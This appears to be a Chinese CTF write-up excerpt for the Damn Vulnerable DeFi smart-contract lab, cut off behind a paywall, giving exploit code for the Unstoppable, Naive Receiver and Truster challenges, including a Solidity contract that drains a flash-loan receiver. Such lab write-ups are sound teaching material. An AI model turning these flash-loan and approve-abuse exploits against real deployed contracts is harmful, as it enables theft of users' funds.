ctf网址:https://www.damnvulnerabledefi.xyz/
第一题:unstoppable
代码中定义变量来记录tokenbalance来判断是否与当前balance相等,如果调用token的transfer发送给pool一点token就会让判断失败flashLoan函数就会恒定失败无法完成。
exp代码:
await this.token.connect(attacker).transfer(this.pool.address,INITIAL_ATTACKER_TOKEN_BALANCE);
第二题:Naive receiver
合约FlashLoanReceiver只判断了msg.sender是否等于pool。
所以通过调用10次闪电贷合约borrower地址填写FlashLoanReceiver地址就可以将FlashLoanReceiver内的eth清空,
exp代码:
合约代码:
import "../naive-receiver/NaiveReceiverLenderPool.sol";
contract AttackNaiveReceiver {
NaiveReceiverLenderPool pool;
constructor(address payable _pool) {
pool = NaiveReceiverLenderPool(_pool);
}
function attack(address victim) public {
for (int i=0; i < 10; i++ ) {
pool.flashLoan(victim, 1 ether);
}
}
}
利用代码:
const AttackFactory = await ethers.getContractFactory("AttackNaiveReceiver", attacker);
const attackContract = await AttackFactory.deploy(this.pool.address);
await attackContract.attack(this.receiver.address);
第三题:Truster
TrusterLenderPool 合约中闪电贷可以调用任意合约的任意函数。通过让合约调用token的approve函数来授权给attacker,再通过transferfrom将token转移给自己就能将token收走。
exp代码:
const abi = ["function approve(address spender, uint256 amount)"]
const iface = new ethers.utils.Interface(abi);
const data = iface.encodeFunctionData("approve"

本文详细介绍了六种黑客攻击技术:unstoppable的token操作、NaiveReceiver的闪贷漏洞、Truster的函数调用权限、SideEntrance的双重利用、Therewarder的奖励获取与deposit、Selfie的延迟执行。通过实例展示了如何在智能合约中找到并利用这些漏洞。
最低0.47元/天 解锁文章
1250

被折叠的 条评论
为什么被折叠?



